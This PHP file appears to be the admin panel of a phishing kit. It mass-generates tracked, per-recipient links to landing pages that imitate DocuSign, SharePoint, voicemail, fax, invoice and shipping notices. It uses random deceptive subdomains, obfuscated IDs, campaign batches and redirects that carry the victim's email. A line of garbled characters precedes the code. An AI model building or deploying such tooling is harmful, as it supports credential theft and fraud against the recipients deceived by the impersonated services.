²ιΏ΄/±ΰΌ ΄ϊΒλ
ΔΪΘέ
<?php /** * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * ADMIN LINK GENERATOR - Web Interface * Secure admin panel to generate personalized landing links * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */ // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // SECURE SESSION CONFIGURATION (must be before session_start) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ ini_set('session.cookie_httponly', 1); // Prevent JavaScript access to session cookie ini_set('session.cookie_secure', 1); // Only send cookie over HTTPS ini_set('session.cookie_samesite', 'Strict'); // Prevent CSRF via cookie ini_set('session.use_strict_mode', 1); // Reject uninitialized session IDs session_start(); require_once __DIR__ . '/../config.php'; require_once CORE_PATH . '/database.php'; require_once CORE_PATH . '/url_processor.php'; // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // CONFIGURATION // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Admin password configuration (in order of preference): // 1. Environment variable LANDING_ADMIN_PASSWORD (plaintext) // 2. Environment variable LANDING_ADMIN_HASH (password_hash output for password_verify) // 3. Fallback to default (CHANGE IN PRODUCTION!) // To generate hash: php -r "echo password_hash('YourSecurePassword', PASSWORD_ARGON2ID);" define('ADMIN_PASSWORD', getenv('LANDING_ADMIN_PASSWORD') ?: 'Teampass123'); define('ADMIN_PASSWORD_HASH', getenv('LANDING_ADMIN_HASH') ?: ''); // Session timeout (30 minutes) define('SESSION_TIMEOUT', 1800); // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // CSRF PROTECTION // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ function generateCsrfToken() { if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf_token']; } function verifyCsrfToken($token) { if (empty($_SESSION['csrf_token']) || empty($token)) { return false; } return hash_equals($_SESSION['csrf_token'], $token); } function csrfField() { return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars(generateCsrfToken()) . '">'; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // PASSWORD VERIFICATION (supports both plaintext and hashed passwords) // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ function verifyAdminPassword($inputPassword) { // If hash is configured, use password_verify if (!empty(ADMIN_PASSWORD_HASH)) { return password_verify($inputPassword, ADMIN_PASSWORD_HASH); } // Otherwise use constant-time comparison with plaintext return hash_equals(ADMIN_PASSWORD, $inputPassword); } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // AVAILABLE TEMPLATES // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $AVAILABLE_TEMPLATES = [ 'document' => 'Generic document sharing', 'docusign' => 'DocuSign signature request', 'sharepoint' => 'SharePoint/OneDrive file', 'invoice' => 'Invoice/payment document', 'voicemail' => 'Voicemail notification', 'fax' => 'Fax/eFax document', 'shipping' => 'Shipping/delivery notice', 'meeting' => 'Meeting invitation', 'legal' => 'Legal document', 'secure-file' => 'Secure file transfer', 'realestate' => 'Real estate document', 'construction'=> 'Construction/contract document', ]; // Random subdomains for variety $SUBDOMAINS = [ 'secure', 'portal', 'app', 'my', 'cloud', 'docs', 'files', 'share', 'access', 'mail', 'web', 'online', 'mobile', 'connect', 'go', 'get' ]; // Landing page paths $PATH_WORDS = [ 'documents', 'docs', 'files', 'records', 'archive', 'view', 'access', 'open', 'preview', 'storage', 'drive', 'cloud', 'vault', 'library', 'portal', 'workspace', 'hub', 'center', 'office', 'content', 'media', 'resources', 'assets', 'data', 'inbox', 'forms', 'report', 'review' ]; // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // HELPER FUNCTIONS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ function getRandomPath() { global $PATH_WORDS; return $PATH_WORDS[array_rand($PATH_WORDS)]; } function getRandomSubdomain() { global $SUBDOMAINS; return $SUBDOMAINS[array_rand($SUBDOMAINS)]; } function obfuscateId($id) { $prefix = substr(bin2hex(random_bytes(2)), 0, 4); $suffix = strtoupper(substr(bin2hex(random_bytes(2)), 0, 4)); return $prefix . $id . $suffix; } function generateRecipientId($email) { return substr(md5($email . microtime(true) . bin2hex(random_bytes(4))), 0, 12); } function buildLandingUrl($id, $useSubdomain = true) { $pathWord = getRandomPath(); $obfuscatedId = obfuscateId($id); $baseDomain = SITE_DOMAIN; if ($useSubdomain) { $sub = getRandomSubdomain(); return 'https://' . $sub . '.' . $baseDomain . '/' . $pathWord . '/' . $obfuscatedId; } else { return 'https://' . $baseDomain . '/' . $pathWord . '/' . $obfuscatedId; } } function isLoggedIn() { if (!isset($_SESSION['admin_logged_in']) || !$_SESSION['admin_logged_in']) { return false; } if (time() - ($_SESSION['admin_last_activity'] ?? 0) > SESSION_TIMEOUT) { session_destroy(); return false; } $_SESSION['admin_last_activity'] = time(); return true; } function parseRecipients($input, $format = 'text') { $recipients = []; if ($format === 'csv') { // Parse CSV content $lines = explode("\n", trim($input)); $header = str_getcsv(array_shift($lines)); $header = array_map(function($h) { return strtolower(trim($h)); }, $header); $emailIdx = array_search('email', $header); $nameIdx = array_search('name', $header); if ($emailIdx === false) { throw new Exception("CSV must have an EMAIL column"); } foreach ($lines as $line) { if (empty(trim($line))) continue; $row = str_getcsv($line); $email = trim($row[$emailIdx] ?? ''); if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) { continue; } $name = ($nameIdx !== false && isset($row[$nameIdx])) ? trim($row[$nameIdx]) : ucfirst(explode('@', $email)[0]); $recipients[] = [ 'email' => $email, 'name' => $name, 'domain' => explode('@', $email)[1] ]; } } else { // Parse simple text format (one email per line or "Name <email>" format) $lines = explode("\n", trim($input)); foreach ($lines as $line) { $line = trim($line); if (empty($line)) continue; // Try "Name <email>" format if (preg_match('/^(.+?)\s*<([^>]+)>/', $line, $matches)) { $name = trim($matches[1]); $email = trim($matches[2]); } // Try "email,name" format elseif (strpos($line, ',') !== false) { $parts = str_getcsv($line); $email = trim($parts[0]); $name = isset($parts[1]) ? trim($parts[1]) : ucfirst(explode('@', $email)[0]); } // Just email else { $email = $line; $name = ucfirst(explode('@', $email)[0]); } if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { continue; } $recipients[] = [ 'email' => $email, 'name' => $name, 'domain' => explode('@', $email)[1] ]; } } return $recipients; } function generateLinks($recipients, $template, $redirectUrl, $useSubdomain, $batchId = null) { $results = []; $db = database(); foreach ($recipients as $recipient) { $id = generateRecipientId($recipient['email']); // Store in database with batch_id try { $pdo = $db->getConnection(); $stmt = $pdo->prepare(" INSERT INTO recipients (id, email, name, domain, template, redirect_url, batch_id) VALUES (?, ?, ?, ?, ?, ?, ?) "); $stmt->execute([ $id, $recipient['email'], $recipient['name'], $recipient['domain'], $template, $redirectUrl ?: null, $batchId ]); } catch (Exception $e) { // Continue even if one fails } // Build URL $link = buildLandingUrl($id, $useSubdomain); $results[] = [ 'name' => $recipient['name'], 'email' => $recipient['email'], 'link' => $link, 'id' => $id ]; } return $results; } function generateCsv($results) { $output = "NAME,EMAIL,LINK\n"; foreach ($results as $row) { $output .= '"' . str_replace('"', '""', $row['name']) . '",'; $output .= '"' . $row['email'] . '",'; $output .= '"' . $row['link'] . '"' . "\n"; } return $output; } // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // HANDLE REQUESTS // βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $error = ''; $success = ''; $results = []; $csvContent = ''; // Handle logout if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // Handle login if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'login') { // Brute force protection settings $maxAttempts = 5; $lockoutTime = 900; // 15 minutes in seconds // Check if locked out $attempts = $_SESSION['login_attempts'] ?? 0; $lastAttempt = $_SESSION['last_attempt_time'] ?? 0; $isLockedOut = ($attempts >= $maxAttempts) && ((time() - $lastAttempt) < $lockoutTime); if ($isLockedOut) { $remainingTime = ceil(($lockoutTime - (time() - $lastAttempt)) / 60); $error = "Too many failed attempts. Try again in {$remainingTime} minutes."; } else if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) { // Verify CSRF token for login $error = 'Invalid request. Please refresh and try again.'; } else if (verifyAdminPassword($_POST['password'] ?? '')) { // Success - reset attempts and login $_SESSION['login_attempts'] = 0; unset($_SESSION['last_attempt_time']); // Regenerate session ID to prevent session fixation session_regenerate_id(true); $_SESSION['admin_logged_in'] = true; $_SESSION['admin_last_activity'] = time(); // Generate new CSRF token after login $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } else { // Failed login - increment attempts $_SESSION['login_attempts'] = ($attempts + 1); $_SESSION['last_attempt_time'] = time(); $remainingAttempts = $maxAttempts - $_SESSION['login_attempts']; if ($remainingAttempts > 0) { $error = "Invalid password. {$remainingAttempts} attempts remaining."; } else { $error = "Invalid password. Account locked for 15 minutes."; } } } // Handle link generation if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'generate' && isLoggedIn()) { try { // Verify CSRF token if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) { throw new Exception("Invalid request. Please refresh and try again."); } $input = $_POST['recipients'] ?? ''; $template = $_POST['template'] ?? 'document'; $redirectUrl = trim($_POST['redirect_url'] ?? ''); $useSubdomain = isset($_POST['use_subdomain']); $inputFormat = $_POST['input_format'] ?? 'text'; $batchName = trim($_POST['batch_name'] ?? ''); if (empty($input)) { throw new Exception("Please enter at least one recipient"); } $recipients = parseRecipients($input, $inputFormat); if (empty($recipients)) { throw new Exception("No valid email addresses found"); } // Create a batch first $db = database(); $batchId = $db->createBatch([ 'name' => $batchName ?: 'Batch ' . date('M j, Y g:i A'), 'template' => $template, 'redirect_url' => $redirectUrl ?: null, 'total_count' => count($recipients) ]); $results = generateLinks($recipients, $template, $redirectUrl, $useSubdomain, $batchId); $csvContent = generateCsv($results); $success = count($results) . " link(s) generated successfully!"; $_SESSION['last_batch_id'] = $batchId; } catch (Exception $e) { $error = $e->getMessage(); } } // Handle CSV download (current batch) if (isset($_GET['download']) && isset($_SESSION['last_csv'])) { header('Content-Type: text/csv'); header('Content-Disposition: attachment; filename="generated_links_' . date('Y-m-d_His') . '.csv"'); echo $_SESSION['last_csv']; exit; } // Handle batch CSV download if (isset($_GET['download_batch']) && isLoggedIn()) { $batchId = $_GET['download_batch']; $db = database(); $batch = $db->getBatch($batchId); $recipients = $db->getRecipientsByBatch($batchId); if ($batch && !empty($recipients)) { $csv = "NAME,EMAIL,LINK\n"; foreach ($recipients as $r) { $link = buildLandingUrl($r['id'], true); $csv .= '"' . str_replace('"', '""', $r['name'] ?? '') . '",'; $csv .= '"' . $r['email'] . '",'; $csv .= '"' . $link . '"' . "\n"; } $filename = preg_replace('/[^a-zA-Z0-9_-]/', '_', $batch['name'] ?? $batchId); header('Content-Type: text/csv'); header('Content-Disposition: attachment; filename="' . $filename . '.csv"'); echo $csv; exit; } } // Handle batch delete (POST only with CSRF) if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'delete_batch' && isLoggedIn()) { if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) { $error = 'Invalid request. Please refresh and try again.'; } else { $batchId = $_POST['batch_id'] ?? ''; if (!empty($batchId)) { $db = database(); if ($db->deleteBatch($batchId)) { header('Location: ' . $_SERVER['PHP_SELF'] . '?deleted=1'); exit; } } } } // Handle view batch $viewBatch = null; $viewBatchRecipients = []; if (isset($_GET['view_batch']) && isLoggedIn()) { $db = database(); $viewBatch = $db->getBatch($_GET['view_batch']); if ($viewBatch) { $viewBatchRecipients = $db->getRecipientsByBatch($_GET['view_batch']); } } // Store CSV in session for download if (!empty($csvContent)) { $_SESSION['last_csv'] = $csvContent; } // Get batches for history display $batches = []; if (isLoggedIn()) { $db = database(); $batches = $db->getBatches(20); } // Check login status $loggedIn = isLoggedIn(); // Check for delete success message if (isset($_GET['deleted'])) { $success = 'Batch deleted successfully!'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Link Generator - Admin</title> <meta name="robots" content="noindex, nofollow"> <style> :root { --primary: #4f46e5; --primary-dark: #4338ca; --success: #10b981; --error: #ef4444; --warning: #f59e0b; --bg: #f3f4f6; --card: #ffffff; --text: #1f2937; --text-light: #6b7280; --border: #e5e7eb; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: var(--bg); min-height: 100vh; padding: 2rem; color: var(--text); } .container { max-width: 1000px; margin: 0 auto; } .header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 2rem; padding-bottom: 1rem; border-bottom: 1px solid var(--border); } .header h1 { font-size: 1.5rem; display: flex; align-items: center; gap: 0.5rem; } .header h1 span { font-size: 1.75rem; } .logout-btn { background: none; border: 1px solid var(--border); padding: 0.5rem 1rem; border-radius: 6px; color: var(--text-light); text-decoration: none; font-size: 0.875rem; transition: all 0.2s; } .logout-btn:hover { border-color: var(--error); color: var(--error); } .card { background: var(--card); border-radius: 12px; padding: 2rem; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom: 1.5rem; } .card h2 { font-size: 1.125rem; margin-bottom: 1.5rem; padding-bottom: 0.75rem; border-bottom: 1px solid var(--border); } .form-group { margin-bottom: 1.5rem; } .form-label { display: block; font-weight: 500; margin-bottom: 0.5rem; font-size: 0.875rem; } .form-label small { font-weight: normal; color: var(--text-light); } .form-input, .form-select, .form-textarea { width: 100%; padding: 0.75rem; border: 1px solid var(--border); border-radius: 8px; font-size: 0.9375rem; transition: border-color 0.2s; } .form-input:focus, .form-select:focus, .form-textarea:focus { outline: none; border-color: var(--primary); } .form-textarea { font-family: monospace; resize: vertical; min-height: 150px; } .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; } .form-checkbox { display: flex; align-items: center; gap: 0.5rem; } .form-checkbox input { width: 18px; height: 18px; } .btn { padding: 0.75rem 1.5rem; border: none; border-radius: 8px; font-weight: 600; cursor: pointer; transition: all 0.2s; font-size: 0.9375rem; } .btn-primary { background: var(--primary); color: white; } .btn-primary:hover { background: var(--primary-dark); } .btn-success { background: var(--success); color: white; } .btn-success:hover { background: #059669; } .alert { padding: 1rem; border-radius: 8px; margin-bottom: 1.5rem; font-size: 0.9375rem; } .alert-error { background: #fef2f2; color: var(--error); border: 1px solid #fecaca; } .alert-success { background: #ecfdf5; color: #065f46; border: 1px solid #a7f3d0; } .results-table { width: 100%; border-collapse: collapse; font-size: 0.875rem; } .results-table th, .results-table td { padding: 0.75rem; text-align: left; border-bottom: 1px solid var(--border); } .results-table th { background: var(--bg); font-weight: 600; font-size: 0.75rem; text-transform: uppercase; letter-spacing: 0.5px; } .results-table td.link { font-family: monospace; font-size: 0.8125rem; word-break: break-all; } .results-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 1rem; } .copy-btn { background: var(--bg); border: 1px solid var(--border); padding: 0.25rem 0.5rem; border-radius: 4px; cursor: pointer; font-size: 0.75rem; } .copy-btn:hover { background: var(--border); } .login-container { max-width: 400px; margin: 4rem auto; } .login-container h1 { text-align: center; margin-bottom: 2rem; } .help-text { font-size: 0.8125rem; color: var(--text-light); margin-top: 0.5rem; } .stats { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1rem; margin-bottom: 1.5rem; } .stat-card { background: var(--bg); padding: 1rem; border-radius: 8px; text-align: center; } .stat-value { font-size: 1.5rem; font-weight: 700; color: var(--primary); } .stat-label { font-size: 0.75rem; color: var(--text-light); text-transform: uppercase; } .format-tabs { display: flex; gap: 0.5rem; margin-bottom: 1rem; } .format-tab { padding: 0.5rem 1rem; border: 1px solid var(--border); background: var(--bg); border-radius: 6px; cursor: pointer; font-size: 0.875rem; } .format-tab.active { background: var(--primary); color: white; border-color: var(--primary); } .format-tab:hover:not(.active) { border-color: var(--primary); } /* Batch history table styles */ .template-badge { display: inline-block; background: var(--bg); padding: 0.25rem 0.5rem; border-radius: 4px; font-size: 0.75rem; font-weight: 500; } .action-btn { display: inline-block; padding: 0.25rem 0.5rem; border-radius: 4px; font-size: 0.75rem; text-decoration: none; margin-right: 0.25rem; } .view-btn { background: #e0e7ff; color: #3730a3; } .view-btn:hover { background: #c7d2fe; } .download-btn { background: #d1fae5; color: #065f46; } .download-btn:hover { background: #a7f3d0; } .delete-btn { background: #fee2e2; color: #991b1b; } .delete-btn:hover { background: #fecaca; } /* Modal styles */ .modal-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.5); display: flex; align-items: center; justify-content: center; z-index: 1000; padding: 1rem; } .modal-content { background: white; border-radius: 12px; max-width: 900px; width: 100%; max-height: 90vh; overflow: hidden; box-shadow: 0 20px 25px -5px rgba(0,0,0,0.1); } .modal-header { display: flex; justify-content: space-between; align-items: center; padding: 1.5rem; border-bottom: 1px solid var(--border); } .modal-header h2 { margin: 0; font-size: 1.25rem; } .modal-close { font-size: 1.5rem; color: var(--text-light); text-decoration: none; width: 32px; height: 32px; display: flex; align-items: center; justify-content: center; border-radius: 6px; } .modal-close:hover { background: var(--bg); color: var(--text); } .modal-info { padding: 0 1.5rem; display: flex; gap: 2rem; flex-wrap: wrap; font-size: 0.875rem; color: var(--text-light); padding-top: 1rem; } .modal-content > div:last-of-type { padding: 0 1.5rem 1.5rem; } @media (max-width: 768px) { .form-row { grid-template-columns: 1fr; } .stats { grid-template-columns: 1fr; } .modal-info { flex-direction: column; gap: 0.5rem; } .action-btn { display: block; margin-bottom: 0.25rem; text-align: center; } } </style> </head> <body> <div class="container"> <?php if (!$loggedIn): ?> <!-- Login Form --> <div class="login-container"> <div class="card"> <h1 style="text-align:center;margin-bottom:1.5rem;">π Admin Access</h1> <?php if ($error): ?> <div class="alert alert-error"><?= htmlspecialchars($error) ?></div> <?php endif; ?> <form method="POST"> <input type="hidden" name="action" value="login"> <?= csrfField() ?> <div class="form-group"> <label class="form-label">Password</label> <input type="password" name="password" class="form-input" required autofocus> </div> <button type="submit" class="btn btn-primary" style="width:100%">Login</button> </form> </div> </div> <?php else: ?> <!-- Admin Interface --> <div class="header"> <h1><span>π</span> Link Generator</h1> <a href="?logout" class="logout-btn">Logout</a> </div> <?php if ($error): ?> <div class="alert alert-error"><?= htmlspecialchars($error) ?></div> <?php endif; ?> <?php if ($success): ?> <div class="alert alert-success"><?= htmlspecialchars($success) ?></div> <?php endif; ?> <!-- Results Section (if any) --> <?php if (!empty($results)): ?> <div class="card"> <div class="results-header"> <h2 style="margin:0;padding:0;border:0;">Generated Links</h2> <a href="?download=1" class="btn btn-success">β¬ Download CSV</a> </div> <div style="overflow-x:auto;"> <table class="results-table"> <thead> <tr> <th>Name</th> <th>Email</th> <th>Link</th> <th></th> </tr> </thead> <tbody> <?php foreach ($results as $row): ?> <tr> <td><?= htmlspecialchars($row['name']) ?></td> <td><?= htmlspecialchars($row['email']) ?></td> <td class="link"><?= htmlspecialchars($row['link']) ?></td> <td> <button class="copy-btn" data-link="<?= htmlspecialchars($row['link'], ENT_QUOTES) ?>" onclick="copyToClipboard(this.dataset.link)">Copy</button> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <?php endif; ?> <!-- Generation Form --> <div class="card"> <h2>Generate New Links</h2> <form method="POST"> <input type="hidden" name="action" value="generate"> <?= csrfField() ?> <div class="form-group"> <label class="form-label">Input Format</label> <div class="format-tabs"> <label class="format-tab active" id="tab-text"> <input type="radio" name="input_format" value="text" checked style="display:none"> Simple (one per line) </label> <label class="format-tab" id="tab-csv"> <input type="radio" name="input_format" value="csv" style="display:none"> CSV Format </label> </div> </div> <div class="form-group"> <label class="form-label"> Recipients <small id="format-hint">(one email per line, or "Name <email>" format)</small> </label> <textarea name="recipients" class="form-textarea" required placeholder="john@example.com Jane Smith <jane@company.com> bob@test.org, Bob Wilson"></textarea> <p class="help-text" id="csv-hint" style="display:none;"> CSV must have EMAIL column. Optional: NAME, FIRSTNAME, LASTNAME, COMPANY </p> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Landing Template</label> <select name="template" class="form-select"> <?php foreach ($AVAILABLE_TEMPLATES as $key => $desc): ?> <option value="<?= $key ?>"><?= $key ?> - <?= $desc ?></option> <?php endforeach; ?> </select> </div> <div class="form-group"> <label class="form-label"> Redirect URL <small>(optional)</small> </label> <input type="text" name="redirect_url" class="form-input" placeholder="https://example.com/${emailb64}" value="<?= htmlspecialchars(FINAL_REDIRECT_URL) ?>"> <p class="help-text">Placeholders: ${email}, ${emailb64}, ${name}, ${id}</p> </div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label"> Batch Name <small>(optional - for easy identification)</small> </label> <input type="text" name="batch_name" class="form-input" placeholder="e.g., Campaign Q1 2026, Client ABC List"> </div> <div class="form-group"> <label class="form-checkbox" style="margin-top: 2rem;"> <input type="checkbox" name="use_subdomain" checked> <span>Use random subdomains (recommended for wildcard DNS)</span> </label> </div> </div> <button type="submit" class="btn btn-primary">π Generate Links</button> </form> </div> <!-- Batch History --> <?php if (!empty($batches)): ?> <div class="card"> <h2>π¦ Batch History</h2> <div style="overflow-x:auto;"> <table class="results-table"> <thead> <tr> <th>Date & Time</th> <th>Name</th> <th>Template</th> <th>Count</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($batches as $batch): ?> <tr> <td><?= date('M j, Y g:i A', strtotime($batch['created_at'])) ?></td> <td><?= htmlspecialchars($batch['name'] ?? '-') ?></td> <td><span class="template-badge"><?= htmlspecialchars($batch['template'] ?? 'document') ?></span></td> <td><strong><?= $batch['total_count'] ?></strong> links</td> <td> <a href="?view_batch=<?= urlencode($batch['batch_id']) ?>" class="action-btn view-btn">View</a> <a href="?download_batch=<?= urlencode($batch['batch_id']) ?>" class="action-btn download-btn">CSV</a> <form method="POST" style="display:inline;" onsubmit="return confirm('Delete this batch and all its links?')"> <input type="hidden" name="action" value="delete_batch"> <input type="hidden" name="batch_id" value="<?= htmlspecialchars($batch['batch_id']) ?>"> <?= csrfField() ?> <button type="submit" class="action-btn delete-btn">Delete</button> </form> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <?php endif; ?> <!-- View Batch Detail Modal --> <?php if ($viewBatch): ?> <div class="modal-overlay" id="batchModal"> <div class="modal-content"> <div class="modal-header"> <h2>π <?= htmlspecialchars($viewBatch['name'] ?? 'Batch Details') ?></h2> <a href="?" class="modal-close">×</a> </div> <div class="modal-info"> <span><strong>Created:</strong> <?= date('M j, Y g:i A', strtotime($viewBatch['created_at'])) ?></span> <span><strong>Template:</strong> <?= htmlspecialchars($viewBatch['template'] ?? 'document') ?></span> <span><strong>Total:</strong> <?= count($viewBatchRecipients) ?> links</span> </div> <?php if (!empty($viewBatch['redirect_url'])): ?> <div class="modal-info" style="margin-top:0.5rem;"> <span><strong>Redirect:</strong> <code style="font-size:0.8rem;"><?= htmlspecialchars($viewBatch['redirect_url']) ?></code></span> </div> <?php endif; ?> <div style="margin-top:1rem; margin-bottom:1rem;"> <a href="?download_batch=<?= urlencode($viewBatch['batch_id']) ?>" class="btn btn-success">β¬ Download CSV</a> </div> <div style="max-height:400px; overflow-y:auto;"> <table class="results-table"> <thead> <tr> <th>Name</th> <th>Email</th> <th>Link</th> <th></th> </tr> </thead> <tbody> <?php foreach ($viewBatchRecipients as $r): $link = buildLandingUrl($r['id'], true); ?> <tr> <td><?= htmlspecialchars($r['name'] ?? '-') ?></td> <td><?= htmlspecialchars($r['email']) ?></td> <td class="link"><?= htmlspecialchars($link) ?></td> <td> <button class="copy-btn" data-link="<?= htmlspecialchars($link, ENT_QUOTES) ?>" onclick="copyToClipboard(this.dataset.link)">Copy</button> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> </div> <?php endif; ?> <!-- Info Card --> <div class="card" style="background: #f0fdf4;"> <h2 style="color: #166534;">π Quick Reference</h2> <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 2rem; font-size: 0.875rem;"> <div> <strong>Input Formats:</strong> <pre style="background:#fff;padding:0.75rem;border-radius:6px;margin-top:0.5rem;font-size:0.8125rem;">john@example.com Jane Smith <jane@test.com> bob@company.org, Bob Wilson</pre> </div> <div> <strong>Redirect Placeholders:</strong> <pre style="background:#fff;padding:0.75rem;border-radius:6px;margin-top:0.5rem;font-size:0.8125rem;">${email} - Raw email ${emailb64} - Base64 encoded ${name} - Full name ${id} - Recipient ID</pre> </div> </div> </div> <?php endif; ?> </div> <script> // Format tab switching document.querySelectorAll('.format-tab').forEach(tab => { tab.addEventListener('click', function() { document.querySelectorAll('.format-tab').forEach(t => t.classList.remove('active')); this.classList.add('active'); const isCSV = this.querySelector('input').value === 'csv'; document.getElementById('format-hint').style.display = isCSV ? 'none' : 'inline'; document.getElementById('csv-hint').style.display = isCSV ? 'block' : 'none'; const textarea = document.querySelector('textarea[name="recipients"]'); if (isCSV) { textarea.placeholder = 'NAME,EMAIL\nJohn Doe,john@example.com\nJane Smith,jane@company.com'; } else { textarea.placeholder = 'john@example.com\nJane Smith <jane@company.com>\nbob@test.org, Bob Wilson'; } }); }); // Copy to clipboard function copyToClipboard(text) { navigator.clipboard.writeText(text).then(() => { // Brief visual feedback could be added here }); } </script> </body> </html>